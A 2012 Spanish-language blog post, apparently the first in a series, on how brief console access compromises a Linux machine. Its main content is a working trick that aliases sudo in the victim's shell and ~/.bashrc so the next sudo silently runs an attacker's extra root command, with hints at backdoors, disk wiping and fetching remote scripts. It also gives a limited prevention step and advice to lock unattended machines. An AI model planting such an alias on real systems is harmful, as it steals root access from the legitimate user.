lunes, 26 de marzo de 2012

Dig Your Own Hole

[Flame]
Linux es genial, maravilloso, chulo, rápido.... y asquerosamente inseguro. De hecho, cualquier SO de hoy en día lo es, pero cualquier distribución de Linux, por su naturaleza, es mas vulnerable.

[Introducción]
El mejor sysadmin que he conocido me enseñó algo: la seguridad física no existe. És algo muy fácil de entender: si alguien tiene acceso físico a tu máquina, no hay nada que hacer. Des de DoS apagando la misma (ya sea desenchufando el cable o pulsando una divertida combinación de teclas[1]), pasando por ataques de David Hasselhoff[2], borrado de archivos, escalado de privilegios (des de una shell o haciendo truquillos en el grub), poner backdoors o, en caso de que nos pongamos mas serios el mismo robo del equipo y posterior análisis de los datos del disco duro, ataques de red MITM (ARP poisoning, ICMP redirect), hijacking de cookies que viajan por redes WiFi sin protección, y un laaargo etc. El tema está que el ataque se puede producir en cuestión de minutos y hay pocas formas de protegerse contra el.

Una vez el sistema ha sido "tocado" físicamente por alguna otra persona que no seas tu mismo, la máquina deja de ser segura y no te puedes fiar nunca mas de ella. ¿Exagero? Esperad y veréis.

Bueno, vale. Volviendo a la primera frase-flame del post quiero aclarar (o acotar) un poco la afirmación: Todas las distribuciones de Linux por lo general tienen implementaciones de red seguras. Los bugs de software (tanto en los programas en general como en el kernel) son arreglados en muy poco tiempo y uno tiene la opción de ver el código fuente de la mayoría de programas para asegurar que no incluyen sopresas, etc.... y todo esto está genial. Si la máquina se mantiene actualizada es difícil encontrar zero-days o exploit para ganar privilegios. Pero todo esto no es necesario ya que existe algo que se llama
consola. Que es muuy potente. Y que en manos de una persona agena (por no bloquear el portátil al ir a responder una llamada de móvil, o en un despiste tonto), y con muy pocos comandos, puede comprometer un sistema en un momentín. Y exactamente sobre esto va esta serie de posts.

Aquí se pretenden recopilar una série de comandos con los que se podrá comprometer un sistema en caso de tener acceso a una consola.

[Al lío]
Ejecutar en una consola:
$ alias sudo="sudo touch /root/owned && sudo"
Nótese que ya se ha `infectado` la consola actual. En caso de que ahora el usuario legítimo ejecute cualquier comando usando "sudo", se le pedirá la contraseña, se ejecutará un comando arbitrario con privilegios de administrador (en nuestro comando de ejemplo 'touch /root/owned'), y después se ejecutará el comando que el había puesto, sin que el usuario se percate que ha ejecutado un comando adicional. Para hacer permanente el cambio se puede ejecutar:
$ echo 'alias sudo="sudo touch /root/owned && sudo"' > ~/.bashrc
Y por ejecución de "comando adicional" podríamos entender: crear un usuario de sistema con privilegios de administrador, ejecutar un borrado de todo el disco, instalar un backdoor, programación de una tarea de descarga de un script remoto y ejecutarlo con privilegios de root o peor todavía: cambiar el fondo de pantalla[2].... Vamos, que tenemos privilegio de root y podemos hacer lo que nos dé la gana.

Ahora simplemente tenemos que esperar que el usuario teclee algo así como:
$ sudo aptitude update #por ejemplo
[sudo] password for inedit:

Y ya hemos comprometido el sistema. Bonito, ¿verdad?
$ ls -l /root/owned
-rw------- 1 root root 0 Mar 26 20:48 owned

Seguro que si alguien hace algo así en tu máquina no te hace tanta gracia.

[Prevención]
¿Modos de prevenir esto? Pues pocos, la verdad. El comando alias es un funcionalidad del bash (man bash) que puede ser desactivada mediante el comando:
$ shopt -u expand_aliases
Pero también puede ser activado por el mismo atacante con el comando ("shopt | grep expand_aliases" para ver el estado actual):
$ shopt -s expand_aliases

Este método sólo aplicaría a bash. Si se usara una consola xterm o ksh se tendría que buscar el modo concreto de hacerlo en estas otras consolas, pero seguro que existen vías similares (si no iguales)

[Moraleja]
Que nadie toque tu portátil/PC. Nadie. Y muchos menos si es alguien que tiene conocimientos medios en sistemas Unix-like. Os pueden hacer un traje. Cuando el PC/portátil queda desatendido, debe ser bloqueado de algún modo (pidiendo contraseña, etc...). Y aún así uno no puede estar seguro que salga un zero-day[3] (que en realidad era un feature!!!) y te jodan el tinglado de mientras vas a echar un meo. Los sistemas Linux son muy versátiles, pero esta versatilidad puede jugar en tu contra algunas veces. Si alguien ha tocado tu sistema, aunque no sepa la contraseña de root te puede tangar sin problemas. Y si no la sabe pero la quiere existen otros muchos recursos que ya veremos mas adelante.

Un saludo.


[1] http://inedit00.blogspot.com.es/2009/10/reset-en-linux.html
[2] http://www.seginformatica.net/2012/03/ataque-de-david-hasselhoff-evolucion.html
[3] http://seclists.org/oss-sec/2012/q1/191

No hay comentarios:

Publicar un comentario